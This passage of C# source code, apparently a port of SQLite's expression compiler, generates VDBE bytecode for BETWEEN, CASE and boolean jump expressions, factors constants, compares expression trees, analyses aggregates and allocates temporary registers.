OP_Copy, rNotFound, target ); } } sqlite3VdbeJumpHere( v, j2 ); sqlite3VdbeJumpHere( v, j5 ); sqlite3ExprCachePop( pParse, 1 ); VdbeComment( v, "end IN expr r%d", target ); break; } #endif /* ** x BETWEEN y AND z ** ** This is equivalent to ** ** x>=y AND x<=z ** ** X is stored in pExpr.pLeft. ** Y is stored in pExpr.x.pList.a[0].pExpr. ** Z is stored in pExpr.x.pList.a[1].pExpr. */ case TK_BETWEEN: { Expr pLeft = pExpr.pLeft; ExprList_item pLItem = pExpr.x.pList.a[0]; Expr pRight = pLItem.pExpr; codeCompareOperands( pParse, pLeft, ref r1, ref regFree1, pRight, ref r2, ref regFree2 ); testcase( regFree1 == 0 ); testcase( regFree2 == 0 ); r3 = sqlite3GetTempReg( pParse ); r4 = sqlite3GetTempReg( pParse ); codeCompare( pParse, pLeft, pRight, OP_Ge, r1, r2, r3, SQLITE_STOREP2 ); pLItem = pExpr.x.pList.a[1];// pLItem++; pRight = pLItem.pExpr; sqlite3ReleaseTempReg( pParse, regFree2 ); r2 = sqlite3ExprCodeTemp( pParse, pRight, ref regFree2 ); testcase( regFree2 == 0 ); codeCompare( pParse, pLeft, pRight, OP_Le, r1, r2, r4, SQLITE_STOREP2 ); sqlite3VdbeAddOp3( v, OP_And, r3, r4, target ); sqlite3ReleaseTempReg( pParse, r3 ); sqlite3ReleaseTempReg( pParse, r4 ); break; } case TK_UPLUS: { inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target ); break; } /* ** Form A: ** CASE x WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END ** ** Form B: ** CASE WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END ** ** Form A is can be transformed into the equivalent form B as follows: ** CASE WHEN x=e1 THEN r1 WHEN x=e2 THEN r2 ... ** WHEN x=eN THEN rN ELSE y END ** ** X (if it exists) is in pExpr.pLeft. ** Y is in pExpr.pRight. The Y is also optional. If there is no ** ELSE clause and no other term matches, then the result of the ** exprssion is NULL. ** Ei is in pExpr.x.pList.a[i*2] and Ri is pExpr.x.pList.a[i*2+1]. ** ** The result of the expression is the Ri for the first matching Ei, ** or if there is no matching Ei, the ELSE term Y, or if there is ** no ELSE term, NULL. */ default: Debug.Assert( op == TK_CASE ); { int endLabel; /* GOTO label for end of CASE stmt */ int nextCase; /* GOTO label for next WHEN clause */ int nExpr; /* 2x number of WHEN terms */ int i; /* Loop counter */ ExprList pEList; /* List of WHEN terms */ ExprList_item[] aListelem; /* Array of WHEN terms */ Expr opCompare = new Expr(); /* The X==Ei expression */ Expr cacheX; /* Cached expression X */ Expr pX; /* The X expression */ Expr pTest = null; /* X==Ei (form A) or just Ei (form B) */ #if !NDEBUG int iCacheLevel = pParse.iCacheLevel; //VVA_ONLY( int iCacheLevel = pParse.iCacheLevel; ) #endif Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) && pExpr.x.pList != null ); Debug.Assert( ( pExpr.x.pList.nExpr % 2 ) == 0 ); Debug.Assert( pExpr.x.pList.nExpr > 0 ); pEList = pExpr.x.pList; aListelem = pEList.a; nExpr = pEList.nExpr; endLabel = sqlite3VdbeMakeLabel( v ); if ( ( pX = pExpr.pLeft ) != null ) { cacheX = pX; testcase( pX.op == TK_COLUMN ); testcase( pX.op == TK_REGISTER ); cacheX.iTable = sqlite3ExprCodeTemp( pParse, pX, ref regFree1 ); testcase( regFree1 == 0 ); cacheX.op = TK_REGISTER; opCompare.op = TK_EQ; opCompare.pLeft = cacheX; pTest = opCompare; } for ( i = 0 ; i < nExpr ; i = i + 2 ) { sqlite3ExprCachePush( pParse ); if ( pX != null ) { Debug.Assert( pTest != null ); opCompare.pRight = aListelem[i].pExpr; } else { pTest = aListelem[i].pExpr; } nextCase = sqlite3VdbeMakeLabel( v ); testcase( pTest.op == TK_COLUMN ); sqlite3ExprIfFalse( pParse, pTest, nextCase, SQLITE_JUMPIFNULL ); testcase( aListelem[i + 1].pExpr.op == TK_COLUMN ); testcase( aListelem[i + 1].pExpr.op == TK_REGISTER ); sqlite3ExprCode( pParse, aListelem[i + 1].pExpr, target ); sqlite3VdbeAddOp2( v, OP_Goto, 0, endLabel ); sqlite3ExprCachePop( pParse, 1 ); sqlite3VdbeResolveLabel( v, nextCase ); } if ( pExpr.pRight != null ) { sqlite3ExprCachePush( pParse ); sqlite3ExprCode( pParse, pExpr.pRight, target ); sqlite3ExprCachePop( pParse, 1 ); } else { sqlite3VdbeAddOp2( v, OP_Null, 0, target ); } #if !NDEBUG Debug.Assert( /* db.mallocFailed != 0 || */ pParse.nErr > 0 || pParse.iCacheLevel == iCacheLevel ); #endif sqlite3VdbeResolveLabel( v, endLabel ); break; } #if !SQLITE_OMIT_TRIGGER case TK_RAISE: { if ( pParse.trigStack == null ) { sqlite3ErrorMsg( pParse, "RAISE() may only be used within a trigger-program" ); return 0; } if ( pExpr.affinity != OE_Ignore ) { Debug.Assert( pExpr.affinity == OE_Rollback || pExpr.affinity == OE_Abort || pExpr.affinity == OE_Fail ); Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, pExpr.affinity, 0, Encoding.UTF8.GetBytes( pExpr.u.zToken ), 0 ); } else { Debug.Assert( pExpr.affinity == OE_Ignore ); sqlite3VdbeAddOp2( v, OP_ContextPop, 0, 0 ); sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.trigStack.ignoreJump ); #if SQLITE_DEBUG VdbeComment( v, "raise(IGNORE)" ); #endif } break; } #endif } sqlite3ReleaseTempReg( pParse, regFree1 ); sqlite3ReleaseTempReg( pParse, regFree2 ); return inReg; } /* ** Generate code to evaluate an expression and store the results ** into a register. Return the register number where the results ** are stored. ** ** If the register is a temporary register that can be deallocated, ** then write its number into pReg. If the result register is not ** a temporary, then set pReg to zero. */ static int sqlite3ExprCodeTemp( Parse pParse, Expr pExpr, ref int pReg ) { int r1 = sqlite3GetTempReg( pParse ); int r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); if ( r2 == r1 ) { pReg = r1; } else { sqlite3ReleaseTempReg( pParse, r1 ); pReg = 0; } return r2; } /* ** Generate code that will evaluate expression pExpr and store the ** results in register target. The results are guaranteed to appear ** in register target. */ static int sqlite3ExprCode( Parse pParse, Expr pExpr, int target ) { int inReg; Debug.Assert( target > 0 && target <= pParse.nMem ); inReg = sqlite3ExprCodeTarget( pParse, pExpr, target ); Debug.Assert( pParse.pVdbe != null /* || pParse.db.mallocFailed != 0 */ ); if ( inReg != target && pParse.pVdbe != null ) { sqlite3VdbeAddOp2( pParse.pVdbe, OP_SCopy, inReg, target ); } return target; } /* ** Generate code that evalutes the given expression and puts the result ** in register target. ** ** Also make a copy of the expression results into another "cache" register ** and modify the expression so that the next time it is evaluated, ** the result is a copy of the cache register. ** ** This routine is used for expressions that are used multiple ** times. They are evaluated once and the results of the expression ** are reused. */ static int sqlite3ExprCodeAndCache( Parse pParse, Expr pExpr, int target ) { Vdbe v = pParse.pVdbe; int inReg; inReg = sqlite3ExprCode( pParse, pExpr, target ); Debug.Assert( target > 0 ); /* This routine is called for terms to INSERT or UPDATE. And the only ** other place where expressions can be converted into TK_REGISTER is ** in WHERE clause processing. So as currently implemented, there is ** no way for a TK_REGISTER to exist here. But it seems prudent to ** keep the ALWAYS() in case the conditions above change with future ** modifications or enhancements. */ if ( ALWAYS( pExpr.op != TK_REGISTER ) ) { int iMem; iMem = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Copy, inReg, iMem ); pExpr.iTable = iMem; pExpr.op = TK_REGISTER; } return inReg; } /* ** Return TRUE if pExpr is an constant expression that is appropriate ** for factoring out of a loop. Appropriate expressions are: ** ** * Any expression that evaluates to two or more opcodes. ** ** * Any OP_Integer, OP_Real, OP_String, OP_Blob, OP_Null, ** or OP_Variable that does not need to be placed in a ** specific register. ** ** There is no point in factoring out single-instruction constant ** expressions that need to be placed in a particular register. ** We could factor them out, but then we would end up adding an ** OP_SCopy instruction to move the value into the correct register ** later. We might as well just use the original instruction and ** avoid the OP_SCopy. */ static int isAppropriateForFactoring( Expr p ) { if ( sqlite3ExprIsConstantNotJoin( p ) == 0 ) { return 0; /* Only constant expressions are appropriate for factoring */ } if ( ( p.flags & EP_FixedDest ) == 0 ) { return 1; /* Any constant without a fixed destination is appropriate */ } while ( p.op == TK_UPLUS ) p = p.pLeft; switch ( p.op ) { #if !SQLITE_OMIT_BLOB_LITERAL case TK_BLOB: #endif case TK_VARIABLE: case TK_INTEGER: case TK_FLOAT: case TK_NULL: case TK_STRING: { testcase( p.op == TK_BLOB ); testcase( p.op == TK_VARIABLE ); testcase( p.op == TK_INTEGER ); testcase( p.op == TK_FLOAT ); testcase( p.op == TK_NULL ); testcase( p.op == TK_STRING ); /* Single-instruction constants with a fixed destination are ** better done in-line. If we factor them, they will just end ** up generating an OP_SCopy to move the value to the destination ** register. */ return 0; } case TK_UMINUS: { if ( p.pLeft.op == TK_FLOAT || p.pLeft.op == TK_INTEGER ) { return 0; } break; } default: { break; } } return 1; } /* ** If pExpr is a constant expression that is appropriate for ** factoring out of a loop, then evaluate the expression ** into a register and convert the expression into a TK_REGISTER ** expression. */ static int evalConstExpr( Walker pWalker, ref Expr pExpr ) { Parse pParse = pWalker.pParse; switch ( pExpr.op ) { case TK_REGISTER: { return WRC_Prune; } case TK_FUNCTION: case TK_AGG_FUNCTION: case TK_CONST_FUNC: { /* The arguments to a function have a fixed destination. ** Mark them this way to avoid generated unneeded OP_SCopy ** instructions. */ ExprList pList = pExpr.x.pList; Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); if ( pList != null ) { int i = pList.nExpr; ExprList_item pItem;//= pList.a; for ( ; i > 0 ; i-- ) {//, pItem++){ pItem = pList.a[pList.nExpr - i]; if ( ALWAYS( pItem.pExpr != null ) ) pItem.pExpr.flags |= EP_FixedDest; } } break; } } if ( isAppropriateForFactoring( pExpr ) != 0 ) { int r1 = ++pParse.nMem; int r2; r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 ); if ( NEVER( r1 != r2 ) ) sqlite3ReleaseTempReg( pParse, r1 ); pExpr.op = TK_REGISTER; pExpr.iTable = r2; return WRC_Prune; } return WRC_Continue; } /* ** Preevaluate constant subexpressions within pExpr and store the ** results in registers. Modify pExpr so that the constant subexpresions ** are TK_REGISTER opcodes that refer to the precomputed values. */ static void sqlite3ExprCodeConstants( Parse pParse, Expr pExpr ) { Walker w = new Walker(); w.xExprCallback = (dxExprCallback)evalConstExpr; w.xSelectCallback = null; w.pParse = pParse; sqlite3WalkExpr( w, ref pExpr ); } /* ** Generate code that pushes the value of every element of the given ** expression list into a sequence of registers beginning at target. ** ** Return the number of elements evaluated. */ static int sqlite3ExprCodeExprList( Parse pParse, /* Parsing context */ ExprList pList, /* The expression list to be coded */ int target, /* Where to write results */ bool doHardCopy /* Make a hard copy of every element */ ) { ExprList_item pItem; int i, n; Debug.Assert( pList != null ); Debug.Assert( target > 0 ); n = pList.nExpr; for ( i = 0 ; i < n ; i++ )// pItem++) { pItem = pList.a[i]; if ( pItem.iAlias != 0 ) { int iReg = codeAlias( pParse, pItem.iAlias, pItem.pExpr, target + i ); Vdbe v = sqlite3GetVdbe( pParse ); if ( iReg != target + i ) { sqlite3VdbeAddOp2( v, OP_SCopy, iReg, target + i ); } } else { sqlite3ExprCode( pParse, pItem.pExpr, target + i ); } if ( doHardCopy /* && 0 == pParse.db.mallocFailed */ ) { sqlite3ExprHardCopy( pParse, target, n ); } } return n; } /* ** Generate code for a boolean expression such that a jump is made ** to the label "dest" if the expression is true but execution ** continues straight thru if the expression is false. ** ** If the expression evaluates to NULL (neither true nor false), then ** take the jump if the jumpIfNull flag is SQLITE_JUMPIFNULL. ** ** This code depends on the fact that certain token values (ex: TK_EQ) ** are the same as opcode values (ex: OP_Eq) that implement the corresponding ** operation. Special comments in vdbe.c and the mkopcodeh.awk script in ** the make process cause these values to align. Assert()s in the code ** below verify that the numbers are aligned correctly. */ static void sqlite3ExprIfTrue( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) { Vdbe v = pParse.pVdbe; int op = 0; int regFree1 = 0; int regFree2 = 0; int r1 = 0, r2 = 0; Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); if ( NEVER( v == null ) ) return; /* Existance of VDBE checked by caller */ if ( NEVER( pExpr == null ) ) return; /* No way this can happen */ op = pExpr.op; switch ( op ) { case TK_AND: { int d2 = sqlite3VdbeMakeLabel( v ); testcase( jumpIfNull == 0 ); sqlite3ExprCachePush( pParse ); sqlite3ExprIfFalse( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); sqlite3VdbeResolveLabel( v, d2 ); sqlite3ExprCachePop( pParse, 1 ); break; } case TK_OR: { testcase( jumpIfNull == 0 ); sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull ); sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); break; } case TK_NOT: { testcase( jumpIfNull == 0 ); sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); break; } case TK_LT: case TK_LE: case TK_GT: case TK_GE: case TK_NE: case TK_EQ: { Debug.Assert( TK_LT == OP_Lt ); Debug.Assert( TK_LE == OP_Le ); Debug.Assert( TK_GT == OP_Gt ); Debug.Assert( TK_GE == OP_Ge ); Debug.Assert( TK_EQ == OP_Eq ); Debug.Assert( TK_NE == OP_Ne ); testcase( op == TK_LT ); testcase( op == TK_LE ); testcase( op == TK_GT ); testcase( op == TK_GE ); testcase( op == TK_EQ ); testcase( op == TK_NE ); testcase( jumpIfNull == 0 ); codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, pExpr.pRight, ref r2, ref regFree2 ); codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, r1, r2, dest, jumpIfNull ); testcase( regFree1 == 0 ); testcase( regFree2 == 0 ); break; } case TK_ISNULL: case TK_NOTNULL: { Debug.Assert( TK_ISNULL == OP_IsNull ); Debug.Assert( TK_NOTNULL == OP_NotNull ); testcase( op == TK_ISNULL ); testcase( op == TK_NOTNULL ); r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); sqlite3VdbeAddOp2( v, op, r1, dest ); testcase( regFree1 == 0 ); break; } case TK_BETWEEN: { /* x BETWEEN y AND z ** ** Is equivalent to ** ** x>=y AND x<=z ** ** Code it as such, taking care to do the common subexpression ** elementation of x. */ Expr exprAnd = new Expr(); Expr compLeft = new Expr(); Expr compRight = new Expr(); Expr exprX = new Expr(); Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); exprX = pExpr.pLeft.Copy(); exprAnd.op = TK_AND; exprAnd.pLeft = compLeft; exprAnd.pRight = compRight; compLeft.op = TK_GE; compLeft.pLeft = exprX; compLeft.pRight = pExpr.x.pList.a[0].pExpr; compRight.op = TK_LE; compRight.pLeft = exprX; compRight.pRight = pExpr.x.pList.a[1].pExpr; exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 ); testcase( regFree1 == 0 ); exprX.op = TK_REGISTER; testcase( jumpIfNull == 0 ); sqlite3ExprIfTrue( pParse, exprAnd, dest, jumpIfNull ); break; } default: { r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); sqlite3VdbeAddOp3( v, OP_If, r1, dest, jumpIfNull != 0 ? 1 : 0 ); testcase( regFree1 == 0 ); testcase( jumpIfNull == 0 ); break; } } sqlite3ReleaseTempReg( pParse, regFree1 ); sqlite3ReleaseTempReg( pParse, regFree2 ); } /* ** Generate code for a boolean expression such that a jump is made ** to the label "dest" if the expression is false but execution ** continues straight thru if the expression is true. ** ** If the expression evaluates to NULL (neither true nor false) then ** jump if jumpIfNull is SQLITE_JUMPIFNULL or fall through if jumpIfNull ** is 0. */ static void sqlite3ExprIfFalse( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) { Vdbe v = pParse.pVdbe; int op = 0; int regFree1 = 0; int regFree2 = 0; int r1 = 0, r2 = 0; Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); if ( NEVER( v == null ) ) return; /* Existance of VDBE checked by caller */ if ( pExpr == null ) return; /* The value of pExpr.op and op are related as follows: ** ** pExpr.op op ** --------- ---------- ** TK_ISNULL OP_NotNull ** TK_NOTNULL OP_IsNull ** TK_NE OP_Eq ** TK_EQ OP_Ne ** TK_GT OP_Le ** TK_LE OP_Gt ** TK_GE OP_Lt ** TK_LT OP_Ge ** ** For other values of pExpr.op, op is undefined and unused. ** The value of TK_ and OP_ constants are arranged such that we ** can compute the mapping above using the following expression. ** Assert()s verify that the computation is correct. */ op = ( ( pExpr.op + ( TK_ISNULL & 1 ) ) ^ 1 ) - ( TK_ISNULL & 1 ); /* Verify correct alignment of TK_ and OP_ constants */ Debug.Assert( pExpr.op != TK_ISNULL || op == OP_NotNull ); Debug.Assert( pExpr.op != TK_NOTNULL || op == OP_IsNull ); Debug.Assert( pExpr.op != TK_NE || op == OP_Eq ); Debug.Assert( pExpr.op != TK_EQ || op == OP_Ne ); Debug.Assert( pExpr.op != TK_LT || op == OP_Ge ); Debug.Assert( pExpr.op != TK_LE || op == OP_Gt ); Debug.Assert( pExpr.op != TK_GT || op == OP_Le ); Debug.Assert( pExpr.op != TK_GE || op == OP_Lt ); switch ( pExpr.op ) { case TK_AND: { testcase( jumpIfNull == 0 ); sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); break; } case TK_OR: { int d2 = sqlite3VdbeMakeLabel( v ); testcase( jumpIfNull == 0 ); sqlite3ExprCachePush( pParse ); sqlite3ExprIfTrue( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); sqlite3VdbeResolveLabel( v, d2 ); sqlite3ExprCachePop( pParse, 1 ); break; } case TK_NOT: { sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull ); break; } case TK_LT: case TK_LE: case TK_GT: case TK_GE: case TK_NE: case TK_EQ: { testcase( op == TK_LT ); testcase( op == TK_LE ); testcase( op == TK_GT ); testcase( op == TK_GE ); testcase( op == TK_EQ ); testcase( op == TK_NE ); testcase( jumpIfNull == 0 ); codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1, pExpr.pRight, ref r2, ref regFree2 ); codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, r1, r2, dest, jumpIfNull ); testcase( regFree1 == 0 ); testcase( regFree2 == 0 ); break; } case TK_ISNULL: case TK_NOTNULL: { testcase( op == TK_ISNULL ); testcase( op == TK_NOTNULL ); r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); sqlite3VdbeAddOp2( v, op, r1, dest ); testcase( regFree1 == 0 ); break; } case TK_BETWEEN: { /* x BETWEEN y AND z ** ** Is equivalent to ** ** x>=y AND x<=z ** ** Code it as such, taking care to do the common subexpression ** elementation of x. */ Expr exprAnd = new Expr(); Expr compLeft = new Expr(); Expr compRight = new Expr(); Expr exprX = new Expr(); Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); exprX = pExpr.pLeft; exprAnd.op = TK_AND; exprAnd.pLeft = compLeft; exprAnd.pRight = compRight; compLeft.op = TK_GE; compLeft.pLeft = exprX; compLeft.pRight = pExpr.x.pList.a[0].pExpr; compRight.op = TK_LE; compRight.pLeft = exprX; compRight.pRight = pExpr.x.pList.a[1].pExpr; exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 ); testcase( regFree1 == 0 ); exprX.op = TK_REGISTER; testcase( jumpIfNull == 0 ); sqlite3ExprIfFalse( pParse, exprAnd, dest, jumpIfNull ); break; } default: { r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); sqlite3VdbeAddOp3( v, OP_IfNot, r1, dest, jumpIfNull != 0 ? 1 : 0 ); testcase( regFree1 == 0 ); testcase( jumpIfNull == 0 ); break; } } sqlite3ReleaseTempReg( pParse, regFree1 ); sqlite3ReleaseTempReg( pParse, regFree2 ); } /* ** Do a deep comparison of two expression trees. Return TRUE (non-zero) ** if they are identical and return FALSE if they differ in any way. ** ** Sometimes this routine will return FALSE even if the two expressions ** really are equivalent. If we cannot prove that the expressions are ** identical, we return FALSE just to be safe. So if this routine ** returns false, then you do not really know for certain if the two ** expressions are the same. But if you get a TRUE return, then you ** can be sure the expressions are the same. In the places where ** this routine is used, it does not hurt to get an extra FALSE - that ** just might result in some slightly slower code. But returning ** an incorrect TRUE could lead to a malfunction. */ static bool sqlite3ExprCompare( Expr pA, Expr pB ) { int i; if ( pA == null || pB == null ) { return pB == pA; } Debug.Assert( !ExprHasAnyProperty( pA, EP_TokenOnly | EP_Reduced ) ); Debug.Assert( !ExprHasAnyProperty( pB, EP_TokenOnly | EP_Reduced ) ); if ( ExprHasProperty( pA, EP_xIsSelect ) || ExprHasProperty( pB, EP_xIsSelect ) ) { return false; } if ( ( pA.flags & EP_Distinct ) != ( pB.flags & EP_Distinct ) ) return false; if ( pA.op != pB.op ) return false; if ( !sqlite3ExprCompare( pA.pLeft, pB.pLeft ) ) return false; if ( !sqlite3ExprCompare( pA.pRight, pB.pRight ) ) return false; if ( pA.x.pList != null && pB.x.pList != null ) { if ( pA.x.pList.nExpr != pB.x.pList.nExpr ) return false; for ( i = 0 ; i < pA.x.pList.nExpr ; i++ ) { Expr pExprA = pA.x.pList.a[i].pExpr; Expr pExprB = pB.x.pList.a[i].pExpr; if ( !sqlite3ExprCompare( pExprA, pExprB ) ) return false; } } else if ( pA.x.pList != null || pB.x.pList != null ) { return false; } if ( pA.iTable != pB.iTable || pA.iColumn != pB.iColumn ) return false; if ( ExprHasProperty( pA, EP_IntValue ) ) { if ( !ExprHasProperty( pB, EP_IntValue ) || pA.u.iValue != pB.u.iValue ) { return false; } } else if ( pA.op != TK_COLUMN && pA.u.zToken != null ) { if ( ExprHasProperty( pB, EP_IntValue ) || NEVER( pB.u.zToken == null ) ) return false; if ( sqlite3StrICmp( pA.u.zToken, pB.u.zToken ) != 0 ) { return false; } } return true; } /* ** Add a new element to the pAggInfo.aCol[] array. Return the index of ** the new element. Return a negative number if malloc fails. */ static int addAggInfoColumn( sqlite3 db, AggInfo pInfo ) { int i = 0; pInfo.aCol = sqlite3ArrayAllocate( db, pInfo.aCol, -1,//sizeof(pInfo.aCol[0]), 3, ref pInfo.nColumn, ref pInfo.nColumnAlloc, ref i ); return i; } /* ** Add a new element to the pAggInfo.aFunc[] array. Return the index of ** the new element. Return a negative number if malloc fails. */ static int addAggInfoFunc( sqlite3 db, AggInfo pInfo ) { int i = 0; pInfo.aFunc = sqlite3ArrayAllocate( db, pInfo.aFunc, -1,//sizeof(pInfo.aFunc[0]), 3, ref pInfo.nFunc, ref pInfo.nFuncAlloc, ref i ); return i; } /* ** This is the xExprCallback for a tree walker. It is used to ** implement sqlite3ExprAnalyzeAggregates(). See sqlite3ExprAnalyzeAggregates ** for additional information. */ static int analyzeAggregate( Walker pWalker, ref Expr pExpr ) { int i; NameContext pNC = pWalker.u.pNC; Parse pParse = pNC.pParse; SrcList pSrcList = pNC.pSrcList; AggInfo pAggInfo = pNC.pAggInfo; switch ( pExpr.op ) { case TK_AGG_COLUMN: case TK_COLUMN: { testcase( pExpr.op == TK_AGG_COLUMN ); testcase( pExpr.op == TK_COLUMN ); /* Check to see if the column is in one of the tables in the FROM ** clause of the aggregate query */ if ( ALWAYS( pSrcList != null ) ) { SrcList_item pItem;// = pSrcList.a; for ( i = 0 ; i < pSrcList.nSrc ; i++ ) {//, pItem++){ pItem = pSrcList.a[i]; AggInfo_col pCol; Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); if ( pExpr.iTable == pItem.iCursor ) { /* If we reach this point, it means that pExpr refers to a table ** that is in the FROM clause of the aggregate query. ** ** Make an entry for the column in pAggInfo.aCol[] if there ** is not an entry there already. */ int k; //pCol = pAggInfo.aCol; for ( k = 0 ; k < pAggInfo.nColumn ; k++ ) {//, pCol++){ pCol = pAggInfo.aCol[k]; if ( pCol.iTable == pExpr.iTable && pCol.iColumn == pExpr.iColumn ) { break; } } if ( ( k >= pAggInfo.nColumn ) && ( k = addAggInfoColumn( pParse.db, pAggInfo ) ) >= 0 ) { pCol = pAggInfo.aCol[k]; pCol.pTab = pExpr.pTab; pCol.iTable = pExpr.iTable; pCol.iColumn = pExpr.iColumn; pCol.iMem = ++pParse.nMem; pCol.iSorterColumn = -1; pCol.pExpr = pExpr; if ( pAggInfo.pGroupBy != null ) { int j, n; ExprList pGB = pAggInfo.pGroupBy; ExprList_item pTerm;// = pGB.a; n = pGB.nExpr; for ( j = 0 ; j < n ; j++ ) {//, pTerm++){ pTerm = pGB.a[j]; Expr pE = pTerm.pExpr; if ( pE.op == TK_COLUMN && pE.iTable == pExpr.iTable && pE.iColumn == pExpr.iColumn ) { pCol.iSorterColumn = j; break; } } } if ( pCol.iSorterColumn < 0 ) { pCol.iSorterColumn = pAggInfo.nSortingColumn++; } } /* There is now an entry for pExpr in pAggInfo.aCol[] (either ** because it was there before or because we just created it). ** Convert the pExpr to be a TK_AGG_COLUMN referring to that ** pAggInfo.aCol[] entry. */ ExprSetIrreducible( pExpr ); pExpr.pAggInfo = pAggInfo; pExpr.op = TK_AGG_COLUMN; pExpr.iAgg = (short)k; break; } /* endif pExpr.iTable==pItem.iCursor */ } /* end loop over pSrcList */ } return WRC_Prune; } case TK_AGG_FUNCTION: { /* The pNC.nDepth==0 test causes aggregate functions in subqueries ** to be ignored */ if ( pNC.nDepth == 0 ) { /* Check to see if pExpr is a duplicate of another aggregate ** function that is already in the pAggInfo structure */ AggInfo_func pItem;// = pAggInfo.aFunc; for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) {//, pItem++){ pItem = pAggInfo.aFunc[i]; if ( sqlite3ExprCompare( pItem.pExpr, pExpr ) ) { break; } } if ( i >= pAggInfo.nFunc ) { /* pExpr is original. Make a new entry in pAggInfo.aFunc[] */ u8 enc = pParse.db.aDbStatic[0].pSchema.enc;// ENC(pParse.db); i = addAggInfoFunc( pParse.db, pAggInfo ); if ( i >= 0 ) { Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); pItem = pAggInfo.aFunc[i]; pItem.pExpr = pExpr; pItem.iMem = ++pParse.nMem; Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); pItem.pFunc = sqlite3FindFunction( pParse.db, pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), pExpr.x.pList != null ? pExpr.x.pList.nExpr : 0, enc, 0 ); if ( ( pExpr.flags & EP_Distinct ) != 0 ) { pItem.iDistinct = pParse.nTab++; } else { pItem.iDistinct = -1; } } } /* Make pExpr point to the appropriate pAggInfo.aFunc[] entry */ Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); ExprSetIrreducible( pExpr ); pExpr.iAgg = (short)i; pExpr.pAggInfo = pAggInfo; return WRC_Prune; } break; } } return WRC_Continue; } static int analyzeAggregatesInSelect( Walker pWalker, Select pSelect ) { NameContext pNC = pWalker.u.pNC; if ( pNC.nDepth == 0 ) { pNC.nDepth++; sqlite3WalkSelect( pWalker, pSelect ); pNC.nDepth--; return WRC_Prune; } else { return WRC_Continue; } } /* ** Analyze the given expression looking for aggregate functions and ** for variables that need to be added to the pParse.aAgg[] array. ** Make additional entries to the pParse.aAgg[] array as necessary. ** ** This routine should only be called after the expression has been ** analyzed by sqlite3ResolveExprNames(). */ static void sqlite3ExprAnalyzeAggregates( NameContext pNC, ref Expr pExpr ) { Walker w = new Walker(); w.xExprCallback = (dxExprCallback)analyzeAggregate; w.xSelectCallback = (dxSelectCallback)analyzeAggregatesInSelect; w.u.pNC = pNC; Debug.Assert( pNC.pSrcList != null ); sqlite3WalkExpr( w, ref pExpr ); } /* ** Call sqlite3ExprAnalyzeAggregates() for every expression in an ** expression list. Return the number of errors. ** ** If an error is found, the analysis is cut short. */ static void sqlite3ExprAnalyzeAggList( NameContext pNC, ExprList pList ) { ExprList_item pItem; int i; if ( pList != null ) { for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++) { pItem = pList.a[i]; sqlite3ExprAnalyzeAggregates( pNC, ref pItem.pExpr ); } } } /* ** Allocate a single new register for use to hold some intermediate result. */ static int sqlite3GetTempReg( Parse pParse ) { if ( pParse.nTempReg == 0 ) { return ++pParse.nMem; } return pParse.aTempReg[--pParse.nTempReg]; } /* ** Deallocate a register, making available for reuse for some other ** purpose. ** ** If a register is currently being used by the column cache, then ** the dallocation is deferred until the column cache line that uses ** the register becomes stale. */ static void sqlite3ReleaseTempReg( Parse pParse, int iReg ) { if ( iReg != 0 && pParse.nTempReg < ArraySize( pParse.aTempReg ) ) { int i; yColCache p; for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++) { p = pParse.aColCache[i]; if ( p.iReg == iReg ) { p.tempReg = 1; return; } } pParse.aTempReg[pParse.nTempReg++] = iReg; } } /* ** Allocate or deallocate a block of nReg consecutive registers */ static int sqlite3GetTempRange( Parse pParse, int nReg ) { int i, n; i = pParse.iRangeReg; n = pParse.nRangeReg; if ( nReg <= n && usedAsColumnCache( pParse, i, i + n - 1 ) == 